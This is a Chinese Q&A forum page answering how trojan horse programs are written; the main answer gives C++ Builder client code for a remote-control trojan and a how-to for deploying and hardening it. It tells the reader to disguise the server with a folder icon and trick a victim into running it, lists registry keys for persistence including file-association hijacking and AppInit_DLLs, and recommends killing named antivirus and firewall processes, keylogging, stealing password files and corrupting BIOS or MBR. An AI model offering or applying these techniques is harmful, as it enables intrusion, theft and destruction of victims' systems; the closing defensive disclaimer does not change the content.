木馬病毒是怎樣編寫的出來的 騰宇科技 10級 2010-08-01 回答

客戶端程式其實是很簡單的。另新建一個Form,新增一個ClientSocket(和ServerSocket在相同的頁下),再新增四個Editbox,命名為Edit1,Edit2,Edit3和Edit4,最後新增一個Button,Caption為“傳送”。Edit1是輸入命令用的,Edit2是準備輸入目標機的IP地址用的,Edit3是輸入連線埠號用的,Edit4是用來輸入欲新增的語句或顯示命令執行的結果的。(頭是不是有點大了?!)

雙擊Button1,在Button1Click事件中新增如下程式碼:

{

if((Edit2-〉Text==“”)||(Edit3-〉Text==“”))return;

//如果輸入IP地址框或輸入埠號框有一個為空,就什麼也不作

ClientSocket1-〉Address=Edit2-〉Text;

//目標IP地址

ClientSocket1-〉Port=atoi(Edit2-〉Text。c_str());

//目標埠號,本例中的44444

ClientSocket1-〉Open();

//連線!

}

選中CilentSocket1控制元件,雙擊OnConnectt事件,在ClientSocket1Connect下新增如下程式碼:

{

if((Edit1-〉Text==“edit conf 1”)||(Edit1-〉Text==“edit conf 2”))

//如果是要編輯autoexec。bat或config。sys

Socket-〉SendText(Edit1-〉Text+Edit4-〉Text);

//傳送命令和欲新增的語句

else

Socket-〉SendText(Edit1-〉Text);

//否則只發送命令

}

雙擊OnRead事件,在ClientSocket1Read下新增如下程式碼:

{

AnsiString ReadIn = Socket-〉ReceiveText();

//讀入收到的返回資訊

Edit4-〉Text=“”;

//清空編輯框

FILE *fp;

fp = fopen(“ReadIn。tmp”,“w”);

//建立一個臨時檔案ReadIn。tmp

fwrite(ReadIn。c_str(),1,10000,fp);

//寫入資訊

fclose(fp);

//關閉之

Edit4-〉Lines-〉LoadFromFile(“ReadIn。tmp”);

//在編輯框中顯示返回的資訊

}

為了敲完命令後直接回車就可以傳送,我們可以使Button1的程式碼共享。雙擊Edit1的OnKeyPress命令,輸入:

{

if(Key==VK_RETURN)Button1Click(Sender);

//如果敲的是回車鍵,就和點選Button1一樣的效果

}

最後再新增以下標頭檔案:

#include “stdlib。h”

#include “winbase。h”

#include “fcntl。h”

#include “stdio。h”

終於寫完了!!!(如果你對簡陋的介面不滿意,可以自己用BCB中豐富的控制元件好好完善完善嘛!)按下Ctrl+F9進行編譯連結吧!對於Server,你可以選一個足以迷惑人的圖示(我選的是一個目錄模樣的圖示)進行編譯,這樣不但受害者容易中招,而且便於隱藏自己。

接下來就把Server程式寄給受害者,誘騙他(她)執行,在你得到他(她)的IP後(這不用我教吧?),就啟動Client程式,敲入“edit conf 1”就編輯Autoexec。bat檔案,敲入“edit conf 2”就編輯Config。sys檔案,敲入“dir xxx”(xxx是目錄名)就可以看到目錄和檔案,敲“type xxx”就可以察看任何檔案,輸入“open”,彈出目標機的光碟機托盤,“close”就收入托盤,輸入“swap”就可以交換受害者的滑鼠左右鍵,輸入“reboot”就啟動目標機……不用我多說了吧?

以上只是一個簡單的例子,真正寫起木馬來要解決的技術問題比這多得多,這得需要紮實的程式設計功底和豐富的經驗。如下的問題就值得仔細考慮:

首先是程式的大小問題,本程式經編譯連結後得到的可執行檔案竟有400多K,用Aspack1。07壓了一下也還有200多K。可以看出不必要的Form是應該去掉的;並且儘量由自己呼叫底層的API函式,而儘量少使用Borland打好包的VCL控制元件;要儘量使用匯編語言(BCB支援C++和彙編混編),不但速度會加快,而且大小可以小很多,畢竟木馬是越小越好。

還有啟動方式的選擇。出了Win。ini、System。ini之外,也還是那幾個登錄檔鍵值,如:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

都已被其他的木馬用爛了。現在又開始對exe、dll和txt檔案的關聯程式動手腳了(如冰河和廣外女生)。這裡涉及到引數傳遞的問題。得到ParamStr()函式傳來的引數,啟動自己後再啟動與之關聯的程式,並將引數傳遞給它,這樣就完成了一次“雙啟動”,而受害者絲毫感覺不到有任何異常。具體鍵值如:

與exe檔案建立關聯:HKEY_CLASSES_ROOT\exefile\shell\open\command

與txt檔案建立關聯:HKEY_CLASSES_ROOT\txtfile\shell\open\command

與dll檔案建立關聯:HKEY_CLASSES_ROOT\dllfile\shell\open\command

等,當然還可以自己擴充。目前還有一種新方法:在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

\Windows

下新增如下鍵值 “AppInit_DLLs”=“Server。dll”,這就把Server。dll註冊為系統啟動時必須載入的模組(你應該把木馬編譯成DLL)。下次開機時,木馬以動態連結庫形式被載入,存在於系統程序中。因為沒有它自己的PID(Process ID 程序識別號),所以在NT的任務管理器中也看不見(不過在“系統資訊”——“軟體環境”——“已載入的32位模組”中還是可以詳細看到當前記憶體中載入的每一個模組的),這樣做的目的是可以使自己的程式更加隱蔽,提高木馬的生存能力。

木馬的功能還可以大大擴充。你可以充分發揮你的想象力——比如上傳、下載、新建、改名、移動檔案,截圖存為jpg檔案傳回,錄音監聽成Wav檔案,錄影成AVI檔案,彈光碟機,讀軟碟機,關機,重啟,不停地掛起,胡亂切換解析度(燒掉你的顯示器),發對話方塊,不停地開啟資源管理器直到宕機,殺掉Kernel32。dll程序使機器暴死,交換滑鼠左右鍵,固定滑鼠,限制滑鼠活動範圍,滑鼠不聽指揮到處亂竄,記錄擊鍵記錄(記錄上網口令,這需要深入瞭解鉤子(Hook)技術,如鍵盤鉤子和滑鼠鉤子),竊取重要的密碼檔案如pwl和sam檔案,格式化磁碟,亂寫磁碟扇區(像病毒大爆發),破壞零磁軌,亂寫BIOS(像CIH),胡亂設定CMOS,加密MBR、HDPT和FAT(像江民炸彈)……真是琳琅滿目、心狠手辣呀!而且實現起來並不是很複雜,只不過後面幾項需要比較紮實的彙編功底而已(有幾項要用到Vxd技術)。唉!路漫漫其修遠兮,吾將上下而求索……

如果你想更安全地執行你的入侵活動,就應該像廣外女生一樣可以殺掉防火牆和防毒軟體的程序。防火牆和防毒軟體監視的是特徵碼,如果你是新木馬,它就不吱一聲;但是如果你開啟不尋常的埠,它就會跳出來報警。因此最好的辦法是啟動後立即分析當前程序,查詢有沒有常見防火牆和防毒軟體的程序,如果有就殺無赦。比如常見的如:Lockdown,天網防火牆,網路衛兵,kv3000,瑞星,金山毒霸,Pc-Cillin,Panda,Mcafee,Norton和CheckPoint。殺掉後,再在特定的記憶體地址中作一個標記,使它們誤以為自己已啟動,因此不會再次啟動自己了。

針對來自反彙編工具的威脅。如果有人試圖將你的木馬程式反彙編,他成功後,你的一切秘密就暴露在他的面前了,因此,我們要想辦法保護自己的作品。首先想到的是條件跳轉,條件跳轉對於反向工程來說並不有趣。沒有迴圈,只是跳轉,作為使偷竊者令人頭痛的路障。這樣,就沒有簡單的反向操作可以執行了。陷阱,另一個我不太肯定,但聽說有程式使用的方法:用CRC校驗你的EXE檔案,如果它被改變了,不要顯示典型錯誤資訊,而給予偷竊者致命的一擊。

最後如果你需要它完成任務後可以自己刪除自己,我提示你:退出前建立一個批處理檔案,加入迴圈刪除本exe檔案和本批處理檔案自己的命令後儲存,執行它,再放心地退出。你可以試一下,所有檔案都消失了吧?!這叫“踏雪無痕”。

入侵安裝了防火牆的機器最好使用自己編寫的木馬,這樣不光防火牆不會報警,而且你自己心裡也坦然一些——畢竟是自己的作品嗎!如果你是系統管理員,那就請你不要偷懶,不僅要經常掃描1024以下的埠,而且包括1024以上的高階埠也要仔細掃描,65535個埠一個也不能漏。因為許多木馬開啟的就是高階埠(如本例中的4444)。

寫在最後:上面例子的用意並不是教你去如何攻擊他人,目的只是讓你瞭解木馬的工作原理和簡單的編寫步驟,以便更好地防範和殺除木馬,維護我們自己應有的網路安全。因此,請列位看官好自為之,不要亂下殺手啊!

木馬病毒是怎樣編寫的出來的 .五色天空 5級 2010-08-01 回答

是用腦子編寫出來的